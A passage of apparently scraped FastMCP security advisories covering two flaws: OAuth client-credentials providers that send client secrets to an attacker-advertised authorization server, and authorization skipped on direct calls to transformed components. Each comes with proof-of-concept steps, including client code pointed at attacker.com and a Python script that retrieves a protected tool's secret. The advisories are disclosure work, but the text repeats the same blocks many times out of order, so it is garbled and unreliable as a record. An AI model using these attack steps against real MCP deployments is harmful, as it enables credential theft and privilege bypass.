1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.

Details

Attacker prerequisites

A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.

Root cause

Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.

Proof of concept

Save this as poc_transform_auth.py:

import anyio

from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig


async def main() -> None:
    server = FastMCP("auth-boundary")
    server.add_tool(
        Tool.from_function(
            lambda: "PROTECTED SECRET",
            name="tagged_tool",
            tags={"public"},
            auth=restrict_tag("admin", scopes=["admin"]),
        )
    )
    server.add_transform(
        ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
    )

    print("listed:", [tool.name for tool in await server.list_tools()])
    try:
        result = await server.call_tool("tagged_tool")
    except Exception as exc:
        print("BLOCKED:", type(exc).__name__)
    else:
        print("VULNERABLE: direct call returned", result.content[0].text)


anyio.run(main)

Run it in an isolated environment:

uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py

Observed on 4.1.0 for a caller without the admin scope:

listed: []
VULNERABLE: direct call returned PROTECTED SECRET

Impact

A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.

Recommended remediation

Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.

AI assistance

Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy.

Affected stable versions are 4.0.0–4.1.1 of fastmcp and fastmcp-slim. The wrappers were introduced in 4.0.0a1; 3.x does not include them.

The 4.1.2 fix adds issuer to ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact.

Configuration required for protection: configure issuer with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits MCPDeprecationWarning. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2.

from fastmcp.client.auth import ClientCredentialsOAuthProvider

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
    issuer="https://auth.example.com",
)

Original report

Summary

fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer.

Details

When fastmcp connects to an MCP server with OAuth client credentials:

1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...)
2. Provider binds to server URL and discovers OAuth metadata
3. Client exchanges credentials at the token endpoint
4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises
5. Attack: attacker-controlled MCP server advertises attacker's authorization server
6. Result: client secret leaked to attacker

Affected code:

• fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

• fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider)

  • init signature has no issuer= parameter
  • _bind() calls super().init(server_url=mcp_url, ...) without issuer=

The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it.

Example vulnerable usage:

auth = ClientCredentialsOAuthProvider(
    client_id="my-client-id",
    client_secret="my-client-secret",
)
async with Client("https://attacker.com/mcp", auth=auth) as client:
    # Client credentials get sent to attacker's auth server if attacker's MCP 
    # server advertises it in RFC 9728 metadata
    await client.list_tools()

Proof of concept

1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token

2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider

   auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools()

3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled)

4. Attacker receives client_id and client_secret in Basic auth header

5. Attacker can now impersonate the client against the legitimate authorization server

The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer.

Impact

Severity: Medium-High

Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation.

Affected parties:

• Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers
• Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised

Attack scenarios:

• User misconfigures MCP server URL in Prefect agent config
• MCP server URL obtained from user input without validation
• Legitimate MCP server is compromised/redirected
• MCP service provider (if SaaS) is compromised

Maintainer assessment and remediation

This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.

The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.

Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.

Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.

Original report

Post-transform component authorization is skipped on direct calls

Summary

